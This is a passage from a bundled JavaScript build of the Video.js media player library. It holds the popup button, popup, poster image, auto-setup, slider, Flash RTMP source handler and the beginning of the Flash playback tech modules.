  10618. exports['default'] = plugin;
  10619. module.exports = exports['default'];
  10620. },{"./player.js":113}],115:[function(_dereq_,module,exports){
  10621. /**
  10622. * @file popup-button.js
  10623. */
  10624. 'use strict';
  10625. exports.__esModule = true;
  10626. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  10627. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  10628. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  10629. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  10630. var _clickableComponentJs = _dereq_('../clickable-component.js');
  10631. var _clickableComponentJs2 = _interopRequireDefault(_clickableComponentJs);
  10632. var _componentJs = _dereq_('../component.js');
  10633. var _componentJs2 = _interopRequireDefault(_componentJs);
  10634. var _popupJs = _dereq_('./popup.js');
  10635. var _popupJs2 = _interopRequireDefault(_popupJs);
  10636. var _utilsDomJs = _dereq_('../utils/dom.js');
  10637. var Dom = _interopRequireWildcard(_utilsDomJs);
  10638. var _utilsFnJs = _dereq_('../utils/fn.js');
  10639. var Fn = _interopRequireWildcard(_utilsFnJs);
  10640. var _utilsToTitleCaseJs = _dereq_('../utils/to-title-case.js');
  10641. var _utilsToTitleCaseJs2 = _interopRequireDefault(_utilsToTitleCaseJs);
  10642. /**
  10643. * A button class with a popup control
  10644. *
  10645. * @param {Player|Object} player
  10646. * @param {Object=} options
  10647. * @extends ClickableComponent
  10648. * @class PopupButton
  10649. */
  10650. var PopupButton = (function (_ClickableComponent) {
  10651. _inherits(PopupButton, _ClickableComponent);
  10652. function PopupButton(player) {
  10653. var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  10654. _classCallCheck(this, PopupButton);
  10655. _ClickableComponent.call(this, player, options);
  10656. this.update();
  10657. }
  10658. /**
  10659. * Update popup
  10660. *
  10661. * @method update
  10662. */
  10663. PopupButton.prototype.update = function update() {
  10664. var popup = this.createPopup();
  10665. if (this.popup) {
  10666. this.removeChild(this.popup);
  10667. }
  10668. this.popup = popup;
  10669. this.addChild(popup);
  10670. if (this.items && this.items.length === 0) {
  10671. this.hide();
  10672. } else if (this.items && this.items.length > 1) {
  10673. this.show();
  10674. }
  10675. };
  10676. /**
  10677. * Create popup - Override with specific functionality for component
  10678. *
  10679. * @return {Popup} The constructed popup
  10680. * @method createPopup
  10681. */
  10682. PopupButton.prototype.createPopup = function createPopup() {};
  10683. /**
  10684. * Create the component's DOM element
  10685. *
  10686. * @return {Element}
  10687. * @method createEl
  10688. */
  10689. PopupButton.prototype.createEl = function createEl() {
  10690. return _ClickableComponent.prototype.createEl.call(this, 'div', {
  10691. className: this.buildCSSClass()
  10692. });
  10693. };
  10694. /**
  10695. * Allow sub components to stack CSS class names
  10696. *
  10697. * @return {String} The constructed class name
  10698. * @method buildCSSClass
  10699. */
  10700. PopupButton.prototype.buildCSSClass = function buildCSSClass() {
  10701. var menuButtonClass = 'vjs-menu-button';
  10702. // If the inline option is passed, we want to use different styles altogether.
  10703. if (this.options_.inline === true) {
  10704. menuButtonClass += '-inline';
  10705. } else {
  10706. menuButtonClass += '-popup';
  10707. }
  10708. return 'vjs-menu-button ' + menuButtonClass + ' ' + _ClickableComponent.prototype.buildCSSClass.call(this);
  10709. };
  10710. return PopupButton;
  10711. })(_clickableComponentJs2['default']);
  10712. _componentJs2['default'].registerComponent('PopupButton', PopupButton);
  10713. exports['default'] = PopupButton;
  10714. module.exports = exports['default'];
  10715. },{"../clickable-component.js":65,"../component.js":67,"../utils/dom.js":142,"../utils/fn.js":144,"../utils/to-title-case.js":151,"./popup.js":116}],116:[function(_dereq_,module,exports){
  10716. /**
  10717. * @file popup.js
  10718. */
  10719. 'use strict';
  10720. exports.__esModule = true;
  10721. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  10722. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  10723. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  10724. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  10725. var _componentJs = _dereq_('../component.js');
  10726. var _componentJs2 = _interopRequireDefault(_componentJs);
  10727. var _utilsDomJs = _dereq_('../utils/dom.js');
  10728. var Dom = _interopRequireWildcard(_utilsDomJs);
  10729. var _utilsFnJs = _dereq_('../utils/fn.js');
  10730. var Fn = _interopRequireWildcard(_utilsFnJs);
  10731. var _utilsEventsJs = _dereq_('../utils/events.js');
  10732. var Events = _interopRequireWildcard(_utilsEventsJs);
  10733. /**
  10734. * The Popup component is used to build pop up controls.
  10735. *
  10736. * @extends Component
  10737. * @class Popup
  10738. */
  10739. var Popup = (function (_Component) {
  10740. _inherits(Popup, _Component);
  10741. function Popup() {
  10742. _classCallCheck(this, Popup);
  10743. _Component.apply(this, arguments);
  10744. }
  10745. /**
  10746. * Add a popup item to the popup
  10747. *
  10748. * @param {Object|String} component Component or component type to add
  10749. * @method addItem
  10750. */
  10751. Popup.prototype.addItem = function addItem(component) {
  10752. this.addChild(component);
  10753. component.on('click', Fn.bind(this, function () {
  10754. this.unlockShowing();
  10755. }));
  10756. };
  10757. /**
  10758. * Create the component's DOM element
  10759. *
  10760. * @return {Element}
  10761. * @method createEl
  10762. */
  10763. Popup.prototype.createEl = function createEl() {
  10764. var contentElType = this.options_.contentElType || 'ul';
  10765. this.contentEl_ = Dom.createEl(contentElType, {
  10766. className: 'vjs-menu-content'
  10767. });
  10768. var el = _Component.prototype.createEl.call(this, 'div', {
  10769. append: this.contentEl_,
  10770. className: 'vjs-menu'
  10771. });
  10772. el.appendChild(this.contentEl_);
  10773. // Prevent clicks from bubbling up. Needed for Popup Buttons,
  10774. // where a click on the parent is significant
  10775. Events.on(el, 'click', function (event) {
  10776. event.preventDefault();
  10777. event.stopImmediatePropagation();
  10778. });
  10779. return el;
  10780. };
  10781. return Popup;
  10782. })(_componentJs2['default']);
  10783. _componentJs2['default'].registerComponent('Popup', Popup);
  10784. exports['default'] = Popup;
  10785. module.exports = exports['default'];
  10786. },{"../component.js":67,"../utils/dom.js":142,"../utils/events.js":143,"../utils/fn.js":144}],117:[function(_dereq_,module,exports){
  10787. /**
  10788. * @file poster-image.js
  10789. */
  10790. 'use strict';
  10791. exports.__esModule = true;
  10792. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  10793. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  10794. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  10795. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  10796. var _clickableComponentJs = _dereq_('./clickable-component.js');
  10797. var _clickableComponentJs2 = _interopRequireDefault(_clickableComponentJs);
  10798. var _componentJs = _dereq_('./component.js');
  10799. var _componentJs2 = _interopRequireDefault(_componentJs);
  10800. var _utilsFnJs = _dereq_('./utils/fn.js');
  10801. var Fn = _interopRequireWildcard(_utilsFnJs);
  10802. var _utilsDomJs = _dereq_('./utils/dom.js');
  10803. var Dom = _interopRequireWildcard(_utilsDomJs);
  10804. var _utilsBrowserJs = _dereq_('./utils/browser.js');
  10805. var browser = _interopRequireWildcard(_utilsBrowserJs);
  10806. /**
  10807. * The component that handles showing the poster image.
  10808. *
  10809. * @param {Player|Object} player
  10810. * @param {Object=} options
  10811. * @extends Button
  10812. * @class PosterImage
  10813. */
  10814. var PosterImage = (function (_ClickableComponent) {
  10815. _inherits(PosterImage, _ClickableComponent);
  10816. function PosterImage(player, options) {
  10817. _classCallCheck(this, PosterImage);
  10818. _ClickableComponent.call(this, player, options);
  10819. this.update();
  10820. player.on('posterchange', Fn.bind(this, this.update));
  10821. }
  10822. /**
  10823. * Clean up the poster image
  10824. *
  10825. * @method dispose
  10826. */
  10827. PosterImage.prototype.dispose = function dispose() {
  10828. this.player().off('posterchange', this.update);
  10829. _ClickableComponent.prototype.dispose.call(this);
  10830. };
  10831. /**
  10832. * Create the poster's image element
  10833. *
  10834. * @return {Element}
  10835. * @method createEl
  10836. */
  10837. PosterImage.prototype.createEl = function createEl() {
  10838. var el = Dom.createEl('div', {
  10839. className: 'vjs-poster',
  10840. // Don't want poster to be tabbable.
  10841. tabIndex: -1
  10842. });
  10843. // To ensure the poster image resizes while maintaining its original aspect
  10844. // ratio, use a div with `background-size` when available. For browsers that
  10845. // do not support `background-size` (e.g. IE8), fall back on using a regular
  10846. // img element.
  10847. if (!browser.BACKGROUND_SIZE_SUPPORTED) {
  10848. this.fallbackImg_ = Dom.createEl('img');
  10849. el.appendChild(this.fallbackImg_);
  10850. }
  10851. return el;
  10852. };
  10853. /**
  10854. * Event handler for updates to the player's poster source
  10855. *
  10856. * @method update
  10857. */
  10858. PosterImage.prototype.update = function update() {
  10859. var url = this.player().poster();
  10860. this.setSrc(url);
  10861. // If there's no poster source we should display:none on this component
  10862. // so it's not still clickable or right-clickable
  10863. if (url) {
  10864. this.show();
  10865. } else {
  10866. this.hide();
  10867. }
  10868. };
  10869. /**
  10870. * Set the poster source depending on the display method
  10871. *
  10872. * @param {String} url The URL to the poster source
  10873. * @method setSrc
  10874. */
  10875. PosterImage.prototype.setSrc = function setSrc(url) {
  10876. if (this.fallbackImg_) {
  10877. this.fallbackImg_.src = url;
  10878. } else {
  10879. var backgroundImage = '';
  10880. // Any falsey values should stay as an empty string, otherwise
  10881. // this will throw an extra error
  10882. if (url) {
  10883. backgroundImage = 'url("' + url + '")';
  10884. }
  10885. this.el_.style.backgroundImage = backgroundImage;
  10886. }
  10887. };
  10888. /**
  10889. * Event handler for clicks on the poster image
  10890. *
  10891. * @method handleClick
  10892. */
  10893. PosterImage.prototype.handleClick = function handleClick() {
  10894. // We don't want a click to trigger playback when controls are disabled
  10895. // but CSS should be hiding the poster to prevent that from happening
  10896. if (this.player_.paused()) {
  10897. this.player_.play();
  10898. } else {
  10899. this.player_.pause();
  10900. }
  10901. };
  10902. return PosterImage;
  10903. })(_clickableComponentJs2['default']);
  10904. _componentJs2['default'].registerComponent('PosterImage', PosterImage);
  10905. exports['default'] = PosterImage;
  10906. module.exports = exports['default'];
  10907. },{"./clickable-component.js":65,"./component.js":67,"./utils/browser.js":140,"./utils/dom.js":142,"./utils/fn.js":144}],118:[function(_dereq_,module,exports){
  10908. /**
  10909. * @file setup.js
  10910. *
  10911. * Functions for automatically setting up a player
  10912. * based on the data-setup attribute of the video tag
  10913. */
  10914. 'use strict';
  10915. exports.__esModule = true;
  10916. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  10917. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  10918. var _utilsEventsJs = _dereq_('./utils/events.js');
  10919. var Events = _interopRequireWildcard(_utilsEventsJs);
  10920. var _globalDocument = _dereq_('global/document');
  10921. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  10922. var _globalWindow = _dereq_('global/window');
  10923. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  10924. var _windowLoaded = false;
  10925. var videojs = undefined;
  10926. // Automatically set up any tags that have a data-setup attribute
  10927. var autoSetup = function autoSetup() {
  10928. // One day, when we stop supporting IE8, go back to this, but in the meantime...*hack hack hack*
  10929. // var vids = Array.prototype.slice.call(document.getElementsByTagName('video'));
  10930. // var audios = Array.prototype.slice.call(document.getElementsByTagName('audio'));
  10931. // var mediaEls = vids.concat(audios);
  10932. // Because IE8 doesn't support calling slice on a node list, we need to loop through each list of elements
  10933. // to build up a new, combined list of elements.
  10934. var vids = _globalDocument2['default'].getElementsByTagName('video');
  10935. var audios = _globalDocument2['default'].getElementsByTagName('audio');
  10936. var mediaEls = [];
  10937. if (vids && vids.length > 0) {
  10938. for (var i = 0, e = vids.length; i < e; i++) {
  10939. mediaEls.push(vids[i]);
  10940. }
  10941. }
  10942. if (audios && audios.length > 0) {
  10943. for (var i = 0, e = audios.length; i < e; i++) {
  10944. mediaEls.push(audios[i]);
  10945. }
  10946. }
  10947. // Check if any media elements exist
  10948. if (mediaEls && mediaEls.length > 0) {
  10949. for (var i = 0, e = mediaEls.length; i < e; i++) {
  10950. var mediaEl = mediaEls[i];
  10951. // Check if element exists, has getAttribute func.
  10952. // IE seems to consider typeof el.getAttribute == 'object' instead of 'function' like expected, at least when loading the player immediately.
  10953. if (mediaEl && mediaEl.getAttribute) {
  10954. // Make sure this player hasn't already been set up.
  10955. if (mediaEl['player'] === undefined) {
  10956. var options = mediaEl.getAttribute('data-setup');
  10957. // Check if data-setup attr exists.
  10958. // We only auto-setup if they've added the data-setup attr.
  10959. if (options !== null) {
  10960. // Create new video.js instance.
  10961. var player = videojs(mediaEl);
  10962. }
  10963. }
  10964. // If getAttribute isn't defined, we need to wait for the DOM.
  10965. } else {
  10966. autoSetupTimeout(1);
  10967. break;
  10968. }
  10969. }
  10970. // No videos were found, so keep looping unless page is finished loading.
  10971. } else if (!_windowLoaded) {
  10972. autoSetupTimeout(1);
  10973. }
  10974. };
  10975. // Pause to let the DOM keep processing
  10976. var autoSetupTimeout = function autoSetupTimeout(wait, vjs) {
  10977. if (vjs) {
  10978. videojs = vjs;
  10979. }
  10980. setTimeout(autoSetup, wait);
  10981. };
  10982. if (_globalDocument2['default'].readyState === 'complete') {
  10983. _windowLoaded = true;
  10984. } else {
  10985. Events.one(_globalWindow2['default'], 'load', function () {
  10986. _windowLoaded = true;
  10987. });
  10988. }
  10989. var hasLoaded = function hasLoaded() {
  10990. return _windowLoaded;
  10991. };
  10992. exports.autoSetup = autoSetup;
  10993. exports.autoSetupTimeout = autoSetupTimeout;
  10994. exports.hasLoaded = hasLoaded;
  10995. },{"./utils/events.js":143,"global/document":1,"global/window":2}],119:[function(_dereq_,module,exports){
  10996. /**
  10997. * @file slider.js
  10998. */
  10999. 'use strict';
  11000. exports.__esModule = true;
  11001. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  11002. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  11003. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  11004. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  11005. var _componentJs = _dereq_('../component.js');
  11006. var _componentJs2 = _interopRequireDefault(_componentJs);
  11007. var _utilsDomJs = _dereq_('../utils/dom.js');
  11008. var Dom = _interopRequireWildcard(_utilsDomJs);
  11009. var _objectAssign = _dereq_('object.assign');
  11010. var _objectAssign2 = _interopRequireDefault(_objectAssign);
  11011. /**
  11012. * The base functionality for sliders like the volume bar and seek bar
  11013. *
  11014. * @param {Player|Object} player
  11015. * @param {Object=} options
  11016. * @extends Component
  11017. * @class Slider
  11018. */
  11019. var Slider = (function (_Component) {
  11020. _inherits(Slider, _Component);
  11021. function Slider(player, options) {
  11022. _classCallCheck(this, Slider);
  11023. _Component.call(this, player, options);
  11024. // Set property names to bar to match with the child Slider class is looking for
  11025. this.bar = this.getChild(this.options_.barName);
  11026. // Set a horizontal or vertical class on the slider depending on the slider type
  11027. this.vertical(!!this.options_.vertical);
  11028. this.on('mousedown', this.handleMouseDown);
  11029. this.on('touchstart', this.handleMouseDown);
  11030. this.on('focus', this.handleFocus);
  11031. this.on('blur', this.handleBlur);
  11032. this.on('click', this.handleClick);
  11033. this.on(player, 'controlsvisible', this.update);
  11034. this.on(player, this.playerEvent, this.update);
  11035. }
  11036. /**
  11037. * Create the component's DOM element
  11038. *
  11039. * @param {String} type Type of element to create
  11040. * @param {Object=} props List of properties in Object form
  11041. * @return {Element}
  11042. * @method createEl
  11043. */
  11044. Slider.prototype.createEl = function createEl(type) {
  11045. var props = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  11046. var attributes = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];
  11047. // Add the slider element class to all sub classes
  11048. props.className = props.className + ' vjs-slider';
  11049. props = _objectAssign2['default']({
  11050. tabIndex: 0
  11051. }, props);
  11052. attributes = _objectAssign2['default']({
  11053. 'role': 'slider',
  11054. 'aria-valuenow': 0,
  11055. 'aria-valuemin': 0,
  11056. 'aria-valuemax': 100,
  11057. tabIndex: 0
  11058. }, attributes);
  11059. return _Component.prototype.createEl.call(this, type, props, attributes);
  11060. };
  11061. /**
  11062. * Handle mouse down on slider
  11063. *
  11064. * @param {Object} event Mouse down event object
  11065. * @method handleMouseDown
  11066. */
  11067. Slider.prototype.handleMouseDown = function handleMouseDown(event) {
  11068. var doc = this.bar.el_.ownerDocument;
  11069. event.preventDefault();
  11070. Dom.blockTextSelection();
  11071. this.addClass('vjs-sliding');
  11072. this.trigger('slideractive');
  11073. this.on(doc, 'mousemove', this.handleMouseMove);
  11074. this.on(doc, 'mouseup', this.handleMouseUp);
  11075. this.on(doc, 'touchmove', this.handleMouseMove);
  11076. this.on(doc, 'touchend', this.handleMouseUp);
  11077. this.handleMouseMove(event);
  11078. };
  11079. /**
  11080. * To be overridden by a subclass
  11081. *
  11082. * @method handleMouseMove
  11083. */
  11084. Slider.prototype.handleMouseMove = function handleMouseMove() {};
  11085. /**
  11086. * Handle mouse up on Slider
  11087. *
  11088. * @method handleMouseUp
  11089. */
  11090. Slider.prototype.handleMouseUp = function handleMouseUp() {
  11091. var doc = this.bar.el_.ownerDocument;
  11092. Dom.unblockTextSelection();
  11093. this.removeClass('vjs-sliding');
  11094. this.trigger('sliderinactive');
  11095. this.off(doc, 'mousemove', this.handleMouseMove);
  11096. this.off(doc, 'mouseup', this.handleMouseUp);
  11097. this.off(doc, 'touchmove', this.handleMouseMove);
  11098. this.off(doc, 'touchend', this.handleMouseUp);
  11099. this.update();
  11100. };
  11101. /**
  11102. * Update slider
  11103. *
  11104. * @method update
  11105. */
  11106. Slider.prototype.update = function update() {
  11107. // In VolumeBar init we have a setTimeout for update that pops and update to the end of the
  11108. // execution stack. The player is destroyed before then update will cause an error
  11109. if (!this.el_) return;
  11110. // If scrubbing, we could use a cached value to make the handle keep up with the user's mouse.
  11111. // On HTML5 browsers scrubbing is really smooth, but some flash players are slow, so we might want to utilize this later.
  11112. // var progress = (this.player_.scrubbing()) ? this.player_.getCache().currentTime / this.player_.duration() : this.player_.currentTime() / this.player_.duration();
  11113. var progress = this.getPercent();
  11114. var bar = this.bar;
  11115. // If there's no bar...
  11116. if (!bar) return;
  11117. // Protect against no duration and other division issues
  11118. if (typeof progress !== 'number' || progress !== progress || progress < 0 || progress === Infinity) {
  11119. progress = 0;
  11120. }
  11121. // Convert to a percentage for setting
  11122. var percentage = (progress * 100).toFixed(2) + '%';
  11123. // Set the new bar width or height
  11124. if (this.vertical()) {
  11125. bar.el().style.height = percentage;
  11126. } else {
  11127. bar.el().style.width = percentage;
  11128. }
  11129. };
  11130. /**
  11131. * Calculate distance for slider
  11132. *
  11133. * @param {Object} event Event object
  11134. * @method calculateDistance
  11135. */
  11136. Slider.prototype.calculateDistance = function calculateDistance(event) {
  11137. var position = Dom.getPointerPosition(this.el_, event);
  11138. if (this.vertical()) {
  11139. return position.y;
  11140. }
  11141. return position.x;
  11142. };
  11143. /**
  11144. * Handle on focus for slider
  11145. *
  11146. * @method handleFocus
  11147. */
  11148. Slider.prototype.handleFocus = function handleFocus() {
  11149. this.on(this.bar.el_.ownerDocument, 'keydown', this.handleKeyPress);
  11150. };
  11151. /**
  11152. * Handle key press for slider
  11153. *
  11154. * @param {Object} event Event object
  11155. * @method handleKeyPress
  11156. */
  11157. Slider.prototype.handleKeyPress = function handleKeyPress(event) {
  11158. if (event.which === 37 || event.which === 40) {
  11159. // Left and Down Arrows
  11160. event.preventDefault();
  11161. this.stepBack();
  11162. } else if (event.which === 38 || event.which === 39) {
  11163. // Up and Right Arrows
  11164. event.preventDefault();
  11165. this.stepForward();
  11166. }
  11167. };
  11168. /**
  11169. * Handle on blur for slider
  11170. *
  11171. * @method handleBlur
  11172. */
  11173. Slider.prototype.handleBlur = function handleBlur() {
  11174. this.off(this.bar.el_.ownerDocument, 'keydown', this.handleKeyPress);
  11175. };
  11176. /**
  11177. * Listener for click events on slider, used to prevent clicks
  11178. * from bubbling up to parent elements like button menus.
  11179. *
  11180. * @param {Object} event Event object
  11181. * @method handleClick
  11182. */
  11183. Slider.prototype.handleClick = function handleClick(event) {
  11184. event.stopImmediatePropagation();
  11185. event.preventDefault();
  11186. };
  11187. /**
  11188. * Get/set if slider is horizontal for vertical
  11189. *
  11190. * @param {Boolean} bool True if slider is vertical, false is horizontal
  11191. * @return {Boolean} True if slider is vertical, false is horizontal
  11192. * @method vertical
  11193. */
  11194. Slider.prototype.vertical = function vertical(bool) {
  11195. if (bool === undefined) {
  11196. return this.vertical_ || false;
  11197. }
  11198. this.vertical_ = !!bool;
  11199. if (this.vertical_) {
  11200. this.addClass('vjs-slider-vertical');
  11201. } else {
  11202. this.addClass('vjs-slider-horizontal');
  11203. }
  11204. return this;
  11205. };
  11206. return Slider;
  11207. })(_componentJs2['default']);
  11208. _componentJs2['default'].registerComponent('Slider', Slider);
  11209. exports['default'] = Slider;
  11210. module.exports = exports['default'];
  11211. },{"../component.js":67,"../utils/dom.js":142,"object.assign":45}],120:[function(_dereq_,module,exports){
  11212. /**
  11213. * @file flash-rtmp.js
  11214. */
  11215. 'use strict';
  11216. exports.__esModule = true;
  11217. function FlashRtmpDecorator(Flash) {
  11218. Flash.streamingFormats = {
  11219. 'rtmp/mp4': 'MP4',
  11220. 'rtmp/flv': 'FLV'
  11221. };
  11222. Flash.streamFromParts = function (connection, stream) {
  11223. return connection + '&' + stream;
  11224. };
  11225. Flash.streamToParts = function (src) {
  11226. var parts = {
  11227. connection: '',
  11228. stream: ''
  11229. };
  11230. if (!src) return parts;
  11231. // Look for the normal URL separator we expect, '&'.
  11232. // If found, we split the URL into two pieces around the
  11233. // first '&'.
  11234. var connEnd = src.search(/&(?!\w+=)/);
  11235. var streamBegin = undefined;
  11236. if (connEnd !== -1) {
  11237. streamBegin = connEnd + 1;
  11238. } else {
  11239. // If there's not a '&', we use the last '/' as the delimiter.
  11240. connEnd = streamBegin = src.lastIndexOf('/') + 1;
  11241. if (connEnd === 0) {
  11242. // really, there's not a '/'?
  11243. connEnd = streamBegin = src.length;
  11244. }
  11245. }
  11246. parts.connection = src.substring(0, connEnd);
  11247. parts.stream = src.substring(streamBegin, src.length);
  11248. return parts;
  11249. };
  11250. Flash.isStreamingType = function (srcType) {
  11251. return srcType in Flash.streamingFormats;
  11252. };
  11253. // RTMP has four variations, any string starting
  11254. // with one of these protocols should be valid
  11255. Flash.RTMP_RE = /^rtmp[set]?:\/\//i;
  11256. Flash.isStreamingSrc = function (src) {
  11257. return Flash.RTMP_RE.test(src);
  11258. };
  11259. /**
  11260. * A source handler for RTMP urls
  11261. * @type {Object}
  11262. */
  11263. Flash.rtmpSourceHandler = {};
  11264. /**
  11265. * Check if Flash can play the given videotype
  11266. * @param {String} type The mimetype to check
  11267. * @return {String} 'probably', 'maybe', or '' (empty string)
  11268. */
  11269. Flash.rtmpSourceHandler.canPlayType = function (type) {
  11270. if (Flash.isStreamingType(type)) {
  11271. return 'maybe';
  11272. }
  11273. return '';
  11274. };
  11275. /**
  11276. * Check if Flash can handle the source natively
  11277. * @param {Object} source The source object
  11278. * @param {Object} options The options passed to the tech
  11279. * @return {String} 'probably', 'maybe', or '' (empty string)
  11280. */
  11281. Flash.rtmpSourceHandler.canHandleSource = function (source, options) {
  11282. var can = Flash.rtmpSourceHandler.canPlayType(source.type);
  11283. if (can) {
  11284. return can;
  11285. }
  11286. if (Flash.isStreamingSrc(source.src)) {
  11287. return 'maybe';
  11288. }
  11289. return '';
  11290. };
  11291. /**
  11292. * Pass the source to the flash object
  11293. * Adaptive source handlers will have more complicated workflows before passing
  11294. * video data to the video element
  11295. * @param {Object} source The source object
  11296. * @param {Flash} tech The instance of the Flash tech
  11297. * @param {Object} options The options to pass to the source
  11298. */
  11299. Flash.rtmpSourceHandler.handleSource = function (source, tech, options) {
  11300. var srcParts = Flash.streamToParts(source.src);
  11301. tech['setRtmpConnection'](srcParts.connection);
  11302. tech['setRtmpStream'](srcParts.stream);
  11303. };
  11304. // Register the native source handler
  11305. Flash.registerSourceHandler(Flash.rtmpSourceHandler);
  11306. return Flash;
  11307. }
  11308. exports['default'] = FlashRtmpDecorator;
  11309. module.exports = exports['default'];
  11310. },{}],121:[function(_dereq_,module,exports){
  11311. /**
  11312. * @file flash.js
  11313. * VideoJS-SWF - Custom Flash Player with HTML5-ish API
  11314. * https://github.com/zencoder/video-js-swf
  11315. * Not using setupTriggers. Using global onEvent func to distribute events
  11316. */
  11317. 'use strict';
  11318. exports.__esModule = true;
  11319. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  11320. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  11321. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  11322. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  11323. var _tech = _dereq_('./tech');
  11324. var _tech2 = _interopRequireDefault(_tech);
  11325. var _utilsDomJs = _dereq_('../utils/dom.js');
  11326. var Dom = _interopRequireWildcard(_utilsDomJs);
  11327. var _utilsUrlJs = _dereq_('../utils/url.js');
  11328. var Url = _interopRequireWildcard(_utilsUrlJs);
  11329. var _utilsTimeRangesJs = _dereq_('../utils/time-ranges.js');
  11330. var _flashRtmp = _dereq_('./flash-rtmp');
  11331. var _flashRtmp2 = _interopRequireDefault(_flashRtmp);
  11332. var _component = _dereq_('../component');
  11333. var _component2 = _interopRequireDefault(_component);
  11334. var _globalWindow = _dereq_('global/window');
  11335. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  11336. var _objectAssign = _dereq_('object.assign');
  11337. var _objectAssign2 = _interopRequireDefault(_objectAssign);
  11338. var navigator = _globalWindow2['default'].navigator;
  11339. /**
  11340. * Flash Media Controller - Wrapper for fallback SWF API
  11341. *
  11342. * @param {Object=} options Object of option names and values
  11343. * @param {Function=} ready Ready callback function
  11344. * @extends Tech
  11345. * @class Flash
  11346. */
  11347. var Flash = (function (_Tech) {
  11348. _inherits(Flash, _Tech);
  11349. function Flash(options, ready) {
  11350. _classCallCheck(this, Flash);
  11351. _Tech.call(this, options, ready);
  11352. // Set the source when ready
  11353. if (options.source) {
  11354. this.ready(function () {
  11355. this.setSource(options.source);
  11356. }, true);
  11357. }
  11358. // Having issues with Flash reloading on certain page actions (hide/resize/fullscreen) in certain browsers
  11359. // This allows resetting the playhead when we catch the reload
  11360. if (options.startTime) {
  11361. this.ready(function () {
  11362. this.load();
  11363. this.play();
  11364. this.currentTime(options.startTime);
  11365. }, true);
  11366. }
  11367. // Add global window functions that the swf expects
  11368. // A 4.x workflow we weren't able to solve for in 5.0
  11369. // because of the need to hard code these functions
  11370. // into the swf for security reasons
  11371. _globalWindow2['default'].videojs = _globalWindow2['default'].videojs || {};
  11372. _globalWindow2['default'].videojs.Flash = _globalWindow2['default'].videojs.Flash || {};
  11373. _globalWindow2['default'].videojs.Flash.onReady = Flash.onReady;
